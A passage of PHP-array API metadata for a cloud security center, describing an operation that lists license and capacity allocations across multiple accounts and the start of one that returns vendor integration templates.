\\"ContainerCore\\": \\"1-2000000000:1\\",\\n \\"RaspCapacity\\": \\"0-100000000:1\\",\\n \\"WebLockCapacity\\": \\"0-9999:1\\",\\n \\"ThreatAnalysisCapacity\\": \\"0-9999999999:1000\\",\\n \\"ThreatAnalysisFlow\\": \\"0-9999999999:100\\",\\n \\"SlsCapacity\\": \\"0-600000000:10\\",\\n \\"AntiRansomwareCapacity\\": \\"0-9000000000:10\\",\\n \\"ImageScanCapacity\\": \\"0-200000:20\\",\\n \\"HoneypotCapacity\\": \\"20-500:1\\",\\n \\"CspmCapacity\\": \\"15000-9999999999:55000\\",\\n \\"SdkCapacity\\": \\"10-9999999999:10\\"\\n }\\n}","type":"json"}]', + 'title' => '获取实例授权取值范围', + ], + 'ListMultiUserInstances' => [ + 'summary' => '多账号授权管理下查询多账号授权分配列表。', + 'path' => '', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasFVYNUW', + ], + 'autoTest' => true, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'MaxResults', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时每页行数。最大值为100。取值范围：10 - 100，默认值：10。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '200', + 'minimum' => '1', + 'example' => '50', + 'default' => '100', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '用于分页查询。首次请求请留空，后续请求请填入上次响应返回的 NextToken 值。', + 'type' => 'string', + 'required' => false, + 'example' => 'CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAB4SwmEAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM0NzY3YTZjNjI3NjZmNmU3MjcxNjk3NDY5MzY3MjY4****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '88F2A6CD-E500-5038-B992-0107B99AA88C', + ], + 'SaleInstanceList' => [ + 'description' => '成员账号详情。', + 'type' => 'array', + 'items' => [ + 'description' => '成员账号详情。', + 'type' => 'object', + 'properties' => [ + 'AliUid' => [ + 'description' => '成员账号的UID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '103784262032', + ], + 'InstanceId' => [ + 'description' => '成员账号购买的云安全中心实例ID。', + 'type' => 'string', + 'example' => 'api-service-spec', + ], + 'InstancePurchaseType' => [ + 'description' => '实例购买类型。取值：'."\n" + .'- **0**：自购。'."\n" + .'- **1**：分配。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Version' => [ + 'description' => '成员账号的云安全中心版本。 取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版 '."\n" + .'- **8**：多版本 '."\n" + .'- **10**：仅采购增值服务', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'Status' => [ + 'description' => '成员账号实例状态。取值：'."\n" + .'- **1**：有效。'."\n" + .'- **2**：已失效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SlsCapacity' => [ + 'description' => '成员账号日志存储容量使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得日志存储容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Used' => [ + 'description' => '已使用日志存储容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'AntiRansomwareCapacity' => [ + 'description' => '成员账号防勒索容量使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得防勒索容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'Used' => [ + 'description' => '已使用防勒索容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'RaspCapacity' => [ + 'description' => '成员账号应用防护使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得应用防护数。单位：个/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Used' => [ + 'description' => '已使用应用防护数。单位：个/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'CspmCapacity' => [ + 'description' => '成员账号云平台配置检查扫描数使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得云平台配置检查扫描数。单位：次/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Used' => [ + 'description' => '已使用云平台配置检查扫描数。单位：次/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'ThreatAnalysisCapacity' => [ + 'description' => '成员账号威胁分析容量使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得威胁分析容量。单位：GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Used' => [ + 'description' => '已使用威胁分析容量。单位：GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'ThreatAnalysisFlow' => [ + 'description' => '成员账号威胁分析与响应日志接入流量使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得威胁分析与响应日志接入流量。单位为GB/天。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Used' => [ + 'description' => '已使用威胁分析与响应日志接入流量。单位为GB/天。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'ImageScanCapacity' => [ + 'description' => '成员账号镜像扫描授权数使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得镜像扫描授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Used' => [ + 'description' => '已使用镜像扫描授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'WebLockCapacity' => [ + 'description' => '成员账号网页防篡改授权数使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得网页防篡改授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Used' => [ + 'description' => '已使用网页防篡改授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'HoneypotCapacity' => [ + 'description' => '成员账号蜜罐授权台数使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得蜜罐授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Used' => [ + 'description' => '已使用蜜罐授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'SdkCapacity' => [ + 'description' => '成员账号恶意文件检测SDK授权数使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得恶意文件检测SDK授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Used' => [ + 'description' => '已使用恶意文件检测SDK授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'VersionSummary' => [ + 'description' => '成员账号授权使用统计信息。', + 'type' => 'array', + 'items' => [ + 'description' => '成员账号授权使用统计信息。', + 'type' => 'object', + 'properties' => [ + 'Version' => [ + 'description' => '成员账号的云安全中心版本。 取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版 '."\n" + .'- **8**：多版本 '."\n" + .'- **10**：仅采购增值服务', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'EcsCount' => [ + 'description' => '成员账号授权台数使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Used' => [ + 'description' => '已使用授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Assigned' => [ + 'description' => '已分配已购授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'CoreCount' => [ + 'description' => '成员账号授权核数使用情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已分配获得授权核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '4', + ], + 'Used' => [ + 'description' => '已使用授权核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Assigned' => [ + 'description' => '已分配授权核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'AuthBindType' => [ + 'description' => '绑定时消耗的授权类型，取值：'."\n" + .'- **ASSET**：消耗授权台数'."\n" + .'- **CORE**：消耗授权核数'."\n" + .'- **ASSET_AND_CORE**：同时消耗授权台数和授权核数。', + 'type' => 'string', + 'example' => 'ASSET_AND_CORE', + ], + ], + ], + ], + 'UserType' => [ + 'description' => '用户类型。取值：'."\n" + .'* **管理员用户**：1'."\n" + .'* **普通用户**：2', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '55', + ], + 'MaxResults' => [ + 'description' => '分批次查询时，每次显示的条目数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1000', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B604532DEF982B875E8360A6EFA3B***', + ], + ], + ], + 'DaInstance' => [ + 'description' => '管理员账号详情。', + 'type' => 'object', + 'properties' => [ + 'AliUid' => [ + 'description' => '管理员账号aliuid。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1766185894104675', + ], + 'InstanceId' => [ + 'description' => '管理员账号购买的云安全中心实例ID。', + 'type' => 'string', + 'example' => 'i-bp1gmm4pnacse343nqal', + ], + 'InstancePurchaseType' => [ + 'description' => '实例购买类型。取值：'."\n" + .'- **0**：自购。'."\n" + .'- **1**：分配。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Version' => [ + 'description' => '已购买的云安全中心版本。 取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版 '."\n" + .'- **8**：多版本 '."\n" + .'- **10**：仅采购增值服务', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'Status' => [ + 'description' => '管理员账号实例状态。取值：'."\n" + .'- **1**：有效。'."\n" + .'- **2**：已失效。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SlsCapacity' => [ + 'description' => '管理员账号日志存储容量使用和分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '管理员账号日志存储容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '150', + ], + 'Used' => [ + 'description' => '已使用日志存储容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '5', + ], + 'Assigned' => [ + 'description' => '已分配日志存储容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + ], + ], + 'AntiRansomwareCapacity' => [ + 'description' => '管理员账号防勒索容量使用和分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '管理员账号防勒索容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '14', + ], + 'Used' => [ + 'description' => '已使用的防勒索容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2', + ], + 'Assigned' => [ + 'description' => '已分配防勒索容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'RaspCapacity' => [ + 'description' => '管理员账号应用防护数使用和分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已购应用防护数。单位：个/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '7', + ], + 'Used' => [ + 'description' => '已使用的应用防护数。单位：个/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '6', + ], + 'Assigned' => [ + 'description' => '已分配应用防护数。单位：个/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'CspmCapacity' => [ + 'description' => '管理员账号云平台配置检查扫描数使用和分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已购云平台配置检查扫描数。单位：次/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '180000', + ], + 'Used' => [ + 'description' => '已使用云平台配置检查扫描数。单位：次/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '31569', + ], + 'Assigned' => [ + 'description' => '已分配云平台配置检查扫描数。单位：次/月。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'ThreatAnalysisCapacity' => [ + 'description' => '管理员账号威胁分析容量使用分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已购威胁分析容量。单位：GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3000', + ], + 'Used' => [ + 'description' => '已使用威胁分析容量。单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1548', + ], + 'Assigned' => [ + 'description' => '已分配威胁分析容量。单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'ThreatAnalysisFlow' => [ + 'description' => '管理员账号威胁分析与响应日志接入流量使用分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已购威胁分析与响应日志接入流量。单位为GB/天。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '300', + ], + 'Used' => [ + 'description' => '已使用威胁分析与响应日志接入流量。单位为GB/天。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Assigned' => [ + 'description' => '已分配威胁分析与响应日志接入流量。单位为GB/天。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'ImageScanCapacity' => [ + 'description' => '管理员账号镜像扫描授权数使用分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已购镜像扫描授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '60', + ], + 'Used' => [ + 'description' => '已使用已购镜像扫描授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'Assigned' => [ + 'description' => '已分配镜像扫描授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'WebLockCapacity' => [ + 'description' => '管理员账号防篡改授权台数使用分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已购防篡改授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '5', + ], + 'Used' => [ + 'description' => '已使用防篡改授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3', + ], + 'Assigned' => [ + 'description' => '已分配防篡改授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'HoneypotCapacity' => [ + 'description' => '管理员账号蜜罐授权台数使用分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已购蜜罐授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '45', + ], + 'Used' => [ + 'description' => '已使用蜜罐授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '9', + ], + 'Assigned' => [ + 'description' => '已分配蜜罐授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'SdkCapacity' => [ + 'description' => '管理员账号恶意文件检测SDK授权数使用分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已购恶意文件检测SDK授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '50', + ], + 'Used' => [ + 'description' => '已使用恶意文件检测SDK授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Assigned' => [ + 'description' => '已分配恶意文件检测SDK授权数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + ], + ], + 'VersionSummary' => [ + 'description' => '管理员账号授权使用统计信息。', + 'type' => 'array', + 'items' => [ + 'description' => '管理员账号授权使用统计信息。', + 'type' => 'object', + 'properties' => [ + 'Version' => [ + 'description' => '已购买的云安全中心版本。 取值： '."\n" + .'- **1**：免费版 '."\n" + .'- **3**：企业版'."\n" + .'- **5**：高级版'."\n" + .'- **6**：防病毒版 '."\n" + .'- **7**：旗舰版 '."\n" + .'- **8**：多版本 '."\n" + .'- **10**：仅采购增值服务', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'EcsCount' => [ + 'description' => '管理员账号授权台数使用和分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已购授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '20', + ], + 'Used' => [ + 'description' => '已使用已购授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '14', + ], + 'Assigned' => [ + 'description' => '已分配已购授权台数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3', + ], + ], + ], + 'CoreCount' => [ + 'description' => '管理员账号授权核数使用和分配情况。', + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '已购买授权核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '150', + ], + 'Used' => [ + 'description' => '已使用授权核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '68', + ], + 'Assigned' => [ + 'description' => '已分配授权核数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '4', + ], + ], + ], + 'AuthBindType' => [ + 'description' => '绑定时消耗的授权类型，取值：'."\n" + .'- ASSET：消耗授权台数'."\n" + .'- CORE：消耗授权核数'."\n" + .'- ASSET_AND_CORE：同时消耗授权台数和授权核数。', + 'type' => 'string', + 'example' => 'ASSET_AND_CORE', + ], + ], + ], + ], + 'UserType' => [ + 'description' => '用户类型。取值：'."\n" + .'* **管理员用户**：1'."\n" + .'* **普通用户**：2', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"88F2A6CD-E500-5038-B992-0107B99AA88C\\",\\n \\"SaleInstanceList\\": [\\n {\\n \\"AliUid\\": 103784262032,\\n \\"InstanceId\\": \\"api-service-spec\\",\\n \\"InstancePurchaseType\\": 1,\\n \\"Version\\": 3,\\n \\"Status\\": 1,\\n \\"SlsCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"AntiRansomwareCapacity\\": {\\n \\"Count\\": 10,\\n \\"Used\\": 0\\n },\\n \\"RaspCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"CspmCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"ThreatAnalysisCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"ThreatAnalysisFlow\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"ImageScanCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"WebLockCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"HoneypotCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"SdkCapacity\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0\\n },\\n \\"VersionSummary\\": [\\n {\\n \\"Version\\": 5,\\n \\"EcsCount\\": {\\n \\"Count\\": 0,\\n \\"Used\\": 0,\\n \\"Assigned\\": 0\\n },\\n \\"CoreCount\\": {\\n \\"Count\\": 4,\\n \\"Used\\": 0,\\n \\"Assigned\\": 0\\n },\\n \\"AuthBindType\\": \\"ASSET_AND_CORE\\"\\n }\\n ],\\n \\"UserType\\": 2\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55,\\n \\"MaxResults\\": 1000,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"DaInstance\\": {\\n \\"AliUid\\": 1766185894104675,\\n \\"InstanceId\\": \\"i-bp1gmm4pnacse343nqal\\",\\n \\"InstancePurchaseType\\": 0,\\n \\"Version\\": 3,\\n \\"Status\\": 1,\\n \\"SlsCapacity\\": {\\n \\"Count\\": 150,\\n \\"Used\\": 5,\\n \\"Assigned\\": 10\\n },\\n \\"AntiRansomwareCapacity\\": {\\n \\"Count\\": 14,\\n \\"Used\\": 2,\\n \\"Assigned\\": 0\\n },\\n \\"RaspCapacity\\": {\\n \\"Count\\": 7,\\n \\"Used\\": 6,\\n \\"Assigned\\": 0\\n },\\n \\"CspmCapacity\\": {\\n \\"Count\\": 180000,\\n \\"Used\\": 31569,\\n \\"Assigned\\": 0\\n },\\n \\"ThreatAnalysisCapacity\\": {\\n \\"Count\\": 3000,\\n \\"Used\\": 1548,\\n \\"Assigned\\": 0\\n },\\n \\"ThreatAnalysisFlow\\": {\\n \\"Count\\": 300,\\n \\"Used\\": 0,\\n \\"Assigned\\": 0\\n },\\n \\"ImageScanCapacity\\": {\\n \\"Count\\": 60,\\n \\"Used\\": 1,\\n \\"Assigned\\": 0\\n },\\n \\"WebLockCapacity\\": {\\n \\"Count\\": 5,\\n \\"Used\\": 3,\\n \\"Assigned\\": 0\\n },\\n \\"HoneypotCapacity\\": {\\n \\"Count\\": 45,\\n \\"Used\\": 9,\\n \\"Assigned\\": 0\\n },\\n \\"SdkCapacity\\": {\\n \\"Count\\": 50,\\n \\"Used\\": 0,\\n \\"Assigned\\": 0\\n },\\n \\"VersionSummary\\": [\\n {\\n \\"Version\\": 1,\\n \\"EcsCount\\": {\\n \\"Count\\": 20,\\n \\"Used\\": 14,\\n \\"Assigned\\": 3\\n },\\n \\"CoreCount\\": {\\n \\"Count\\": 150,\\n \\"Used\\": 68,\\n \\"Assigned\\": 4\\n },\\n \\"AuthBindType\\": \\"ASSET_AND_CORE\\"\\n }\\n ],\\n \\"UserType\\": 1\\n }\\n}","type":"json"}]', + 'title' => '查询多账号授权分配列表', + 'description' => '您可以通过资产的实例ID、实例名称、所属VPC ID、地域、公网IP地址等条件搜索资产，还可以通过设置不同搜索条件之间的逻辑关系搜索符合多个搜索条件的资产。', + ], + 'DescribeCloudVendorProductTemplateConfig' => [ + 'summary' => '多云配置管理用来查询Agentic SOC云厂商产品接入模板配置。', + 'path' => '', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。取值：'."\n" + .'- **CHAITIN**：长亭科技'."\n" + .'- **FORTINET**：飞塔'."\n" + .'- **THREATBOOK**：微步在线', + 'type' => 'string', + 'required' => false, + 'example' => 'CHAITIN', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n" + ."\n\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CD380235-A0B8-540D-A0D5-D6288446****', + ], + 'Data' => [ + 'description' => '模板配置。该参数为JSON结构，其中包含以下字段：'."\n" + .'- **vendors**：厂商模板配置信息集合。'."\n" + .' - **vendorType**：厂商编号，**CHAITIN** 取值**100**，**FORTINET**取值**101**，**THREATBOOK**取值**102**。'."\n" + .' - **vendor**：厂商。取值**CHAITIN** 、**FORTINET**、**THREATBOOK**。'."\n" + .' - **displayName**：显示名。取值**Chaitin** 、**Fortinet**、**Threatbook**。'."\n" + .' - **products**：模板配置信息列表。该参数为JSON结构，其中包含以下字段：'."\n" + .' - **product**：产品码。**vendor**为**CHAITIN**时取值**webFirewall**，**vendor**为**FORTINET**时取值**fortigate**，**vendor**为**THREATBOOK**时取值**threatIntelligence**。'."\n" + .' - **displayName**：产品显示名称。**vendor**为**CHAITIN**时取值**WAF**，**vendor**为**FORTINET**时取值**FortiGate Firewall**，**vendor**为**THREATBOOK**时取值**Threat Intelligence API**。'."\n" + .' - **description**：产品对应技术支持文档链接。'."\n" + .' - **backendConfig**：API字段映射规则列表。该参数为JSON结构，其中包含以下字段：'."\n" + .' - **apiParams**：API字段映射规则。该参数为Map结构，其中Key为对应提交的后端字段映射Key。Value为JSON结构，其中包含以下字段：'."\n" + .' - **field**：属性Key。'."\n" + .' - **format**：属性值对应的类型，取值为**text**和**json**。'."\n" + .' - **fields**：模板需要填充的字段。该参数为JSON结构，其中包含以下字段：'."\n" + .' - **displayName**：字段显示名称。'."\n" + .' - **editable**：字段是否可修改。取值为**true**和**false**。**true**为可修改，**false**为不可修改。'."\n" + .' - **fieldType**：字段值对应的类型。取值为**text**和**password**。'."\n" + .' - **required**：字段是否必填。取值为**true**和**false**。**true**为必填，**false**为非必填。'."\n" + .' - **fieldId**：字段**Key**。', + 'type' => 'string', + 'example' => '{\\"vendors\\":[{\\"vendorType\\":100,\\"vendor\\":\\"CHAITIN\\",\\"displayName\\":\\"Chaitin\\",\\"products\\":[{\\"product\\":\\"webFirewall\\",\\"displayName\\":\\"WAF\\",\\"backendConfig\\":{\\"apiParams\\":{\\"SecretKey\\":{\\"field\\":\\"apiToken\\",\\"format\\":\\"text\\"},\\"SecretId\\":{\\"field\\":\\"endpoint\\",\\"format\\":\\"text\\"},\\"Vendor\\":{\\"field\\":\\"vendor\\",\\"format\\":\\"text\\"},\\"CtdrCloudUserId\\":{\\"field\\":\\"ctdrCloudUserId\\",\\"format\\":\\"text\\"},\\"ExtendInfo\\":{\\"format\\":\\"json\\",\\"fields\\":[\\"product\\",\\"remark\\"]}}},\\"description\\":\\"https://docs.waf-ce.chaitin.cn/%E6%9B%B4%E5%A4%9A%E6%8A%80%E6%9C%AF%E6%96%87%E6%A1%A3/OPENAPI\\",\\"fields\\":[{\\"displayName\\":\\"Endpoint\\",\\"fieldType\\":\\"text\\",\\"prompt\\":\\"Enter an endpoint that is in the IP address:Port number format.\\",\\"required\\":true,\\"fieldId\\":\\"endpoint\\"},{\\"displayName\\":\\"API Token\\",\\"fieldType\\":\\"password\\",\\"required\\":true,\\"fieldId\\":\\"apiToken\\"},{\\"displayName\\":\\"‌Device Name‌ (The cloud_user_id field in the device connection logs will uniquely identify the device)\\",\\"fieldType\\":\\"text\\",\\"required\\":true,\\"fieldId\\":\\"ctdrCloudUserId\\"},{\\"displayName\\":\\"Remark\\",\\"fieldType\\":\\"text\\",\\"required\\":false,\\"fieldId\\":\\"remark\\"}]}]}]}', + ], + ], + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D6288446****\\",\\n \\"Data\\": 